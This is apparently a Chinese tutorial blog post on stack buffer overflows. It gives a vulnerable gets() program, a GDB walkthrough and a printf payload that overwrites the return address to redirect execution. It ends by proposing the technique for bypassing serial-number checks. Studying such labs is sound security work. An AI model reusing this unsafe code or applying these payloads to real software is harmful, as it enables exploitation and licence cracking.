shellcode 之 栈溢出

来源:互联网 发布:网络主播文儿的歌曲 编辑:程序博客网 时间:2024/04/25 19:51

在C、C++语言中,没有考虑检查缓冲区的内在边界,所以使栈溢出成为可能。用户故意提交超出缓冲区范围的数据。这种情形可导致不同的后果,包括程序崩溃或强制令程序执行用户提交的指令。

 

ESP:栈顶寄存器。注意:POP只改变ESP的值,而不改写或删除栈上的数据,它只是把栈上的数据复制到操作对象里。

EBP:栈底寄存器。通常以它为基址来计算其他的地址。也称为“帧指针”。

EIP:扩展指令指针。EIP中保存着下一条即将执行的机器指令的地址。在控制程序的执行流程中,是否可以访问和改变保存在EIP中的地址将是整个问题的关键。

 

函数调用与栈

 

系统首先会执行main里的指令,碰到函数调用时:

1、把调用函数func的参数压入栈;

2、把函数的返回地址(即RET,RET里保存的是调用函数时的指令指针EIP的地址)压入栈;

3、调用函数。

 

而系统在执行调用函数func指令前首先执行proglog。proglog在栈中存储一些值,使得系统更好地执行函数:

1、为了使函数可以引用栈上的数据,必须改变EBP的值,把当前EBP的值压入栈;函数执行结束后,为了计算main里的地址,我们要用到原先的EBP的值,之前有提及通常以EBP为基址来计算其他的地址;

2、一旦EBP的值被压入栈,proglog就把当前栈指针ESP复制到EBP;

3、接着,proglog计算func的局部变量所需的地址空间和栈上的保留空间,然后从ESP减去变量的大小,为程序保留必要的空间;

4、最后proglog把func的局部变量压入栈。

关于“为了使函数可以引用栈上的数据,必须改变EBP的值”,是不是指以EBP为基址来计算栈上的局部变量所在的地址?当前EBP位于局部变量的地址空间之处。

 

以上所说如图:

+---------------+ 低内存地址,栈顶

|               |

+---------------+

|  局部变量      |

+---------------+

|  EBP          |

+---------------+

|  RET          |

+---------------+

|  参数1        |

+---------------+

|  参数2        |

+---------------+

|               |

+---------------+ 高内存地址,栈底

这里没有实例,不够直观,建议看原书P12反汇编后的代码。值得一提的是:函数调用时,call指令会把RET(EIP)压入栈,之后才把执行控制权交给func函数。

 

栈上的缓冲区溢出

 

一个例子程序

 

·········10········20········30········40········50········60········70········80········90········100·······110·······120·······130·······140·······150

//cc -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow 

#include <stdio.h> 

 

void func() 

    char arr[30]; 

    gets(arr); 

    printf("%S/n", arr); 

 

int main() 

    func(); 

    return 0; 

数组arr的长度为30,当输入的字符串“AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDDDDDDDD”时(这里有30个'A'和10个'D'),可引发segment fault。下面显示了在arr被溢出后栈的情形:

 

+---------------+ 低内存地址,栈顶

|               |

+---------------+

|  AAAAA...ADD  | 数组(30个字符+2个填充字符)

+---------------+

|  DDDD         | EBP

+---------------+

|  DDDD         | RET

+---------------+

|               |

+---------------+ 高内存地址,栈底

 

用32B填充数组并继续执行代码。我们改写了保存EBP的地址,它现在是包括DDDD的十六进制形式的双字节。更重要的是,我们用另一组DDDD的双字节改写了RET(原本RET是保存的返回地址,这个地址指向func()之后的return 0;指令)。当func函数退出时,它将读出存储在RET里的值--现在是0x44444444(DDDD的十六进制形式),并试图跳到这个地址。但是这个地址不是一个有效的地址或者位于受保护的地址空间,故程序将由于段故障而终止。

这里简单描述了大体过程,建议按照书上步骤用GDB跟踪一下整个过程,特别留意func栈上数据的变化状况。

 

控制EIP

现在输入数据成功溢出了缓冲区,并改写了EBP和RET的内容,因此,溢出的数据被加载到EIP,当然在上面的情况下进程会崩溃。我们应控制程序的执行流程,或控制加载到EIP的数据。用精心选择的地址代替D。这些数据将写入缓冲区并改写保存的EBP和RET。当系统从栈上取出RET的值并放入EIP时,这个地址指向的指令将被执行。

这里简单描述一下概念,还得进行一些练习以有个直观印象。

在overflow.c的例子中,正常的流程是只打印一次输入的数据。如果我们要令它打印两次,即是说令程序调用两次func,我们首先用GDB反汇编main,找到call <func>这句指令的地址如0x080483a5,接着我们设法让func栈上保存RET的地方改写为0x080483a5,这样func返回后,EIP从func栈上取出RET的值(当然这个值已经被改写),这个地址指向的call <func>会再次被执行,将进行第二次的打印。

$printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD/xa5/x83/x04/x08" | ./overflow

注:这里我的命令和书上的描述不同,要根据自己的实际情况来修改。

 

sep@sep:~/project/shellcode$  

sep@sep:~/project/shellcode$ gdb ./overflow 

GNU gdb 6.4.90-debian 

Copyright (C) 2006 Free Software Foundation, Inc. 

GDB is free software, covered by the GNU General Public License, and you are 

welcome to change it and/or distribute copies of it under certain conditions. 

Type "show copying" to see the conditions. 

There is absolutely no warranty for GDB. Type "show warranty" for details. 

This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". 

 

(gdb) disas main                           ;反汇编main 

Dump of assembler code for function main: 

0x080483a2 <main+0>: push %ebp 

0x080483a3 <main+1>: mov %esp,%ebp 

0x080483a5 <main+3>: call 0x8048384 <func> ;找到call <func>的指令地址 

0x080483aa <main+8>: mov $0x0,%eax         ;记住这个地址,将保存到func栈上的RET 

0x080483af <main+13>: pop %ebp 

0x080483b0 <main+14>: ret  

End of assembler dump. 

(gdb) disas func                           ;反汇编func 

Dump of assembler code for function func: 

0x08048384 <func+0>: push %ebp 

0x08048385 <func+1>: mov %esp,%ebp 

0x08048387 <func+3>: sub $0x24,%esp 

0x0804838a <func+6>: lea 0xffffffe2(%ebp),%eax 

0x0804838d <func+9>: mov %eax,(%esp) 

0x08048390 <func+12>: call 0x80482a0 <gets@plt> ;找到call <gets>指令地址 

0x08048395 <func+17>: lea 0xffffffe2(%ebp),%eax 

0x08048398 <func+20>: mov %eax,(%esp) 

0x0804839b <func+23>: call 0x80482b0 <puts@plt> ;找到call <printf>指令地址 

0x080483a0 <func+28>: leave  

0x080483a1 <func+29>: ret  

End of assembler dump. 

(gdb) break *0x08048390                            ;设置断点-gets 

Breakpoint 1 at 0x8048390: file overflow.c, line 7. 

(gdb) break *0x0804839b                            ;设置断点-printf 

Breakpoint 2 at 0x804839b: file overflow.c, line 8. 

(gdb) run 

Starting program: /home/sep/project/shellcode/overflow  

Failed to read a valid object file image from memory. 

 

Breakpoint 1, 0x08048390 in func () at overflow.c:7 

7 gets(arr); 

(gdb) x/20x $esp  ;打印未输入字符串时的栈上的内容,此时留意0x080483aa为RET,即func返回后下一条执行指令的地址,我们要修改的就是这个东东。 

0xbfe7109c: 0xbfe710a2 0x00000001 0xbfe71144 0xbfe710c8 

0xbfe710ac: 0x08048429 0xb7e46c8c 0xb7f68ff4 0x00000000 

0xbfe710bc: 0xb7f68ff4 0xbfe710c8 0x080483aa 0xbfe71118 

0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c 

0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0 

(gdb) c 

Continuing. 

 

;输入字符串。这里共30个字符,用意看栈上内容变化。 

AAAABBBBCCCCDDDDEEEEFFFFGGGGHH  

 

Breakpoint 2, 0x0804839b in func () at overflow.c:8 

8 printf("%s/n", arr); 

(gdb) x/20x $esp ;输入字符串后,观看栈上内容。 

0xbfe7109c: 0xbfe710a2 0x41410001 0x42424141 0x43434242 

0xbfe710ac: 0x44444343 0x45454444 0x46464545 0x47474646 

0xbfe710bc: 0x48484747 0xbfe71000 0x080483aa 0xbfe71118 

0xbfe710cc: 0xb7e50ea8 0x00000001 0xbfe71144 0xbfe7114c 

0xbfe710dc: 0x00000000 0xb7f68ff4 0x00000000 0xb7f8ecc0 

(gdb) c 

Continuing. 

AAAABBBBCCCCDDDDEEEEFFFFGGGGHH 

 

Program exited normally. 

(gdb) q 

 

;好了,我们已经知道栈上数据的存放位置,如何改写栈上的RET令程序打印两次呢? 

 

;首先call <func>的地址是0x080483a5,RET的原值为0x080483aa; 

 

;我们输入精心选择的字符串,使得栈上的缓冲区溢出,从而改写RET的值,令其变为call <func>的地址; 

 

;参考GDB观看得出的栈上数据结构,可用如下命令实现: 

sep@sep:~/project/shellcode$ printf "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD/xa5/x83/x04/x08" | ./overflow 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD獌 

sep@sep:~/project/shellcode$ 

我们设想有这样的一个软件,它在使用之前需要输入一个合法的序列号。假使这个程序在用户输入一个超长的序列号会发生栈溢出。我们可以通过使程序在输入错误的序列号之后跳到“正确的”代码段来生成一个总是有效的序列号

0 0
原创粉丝点击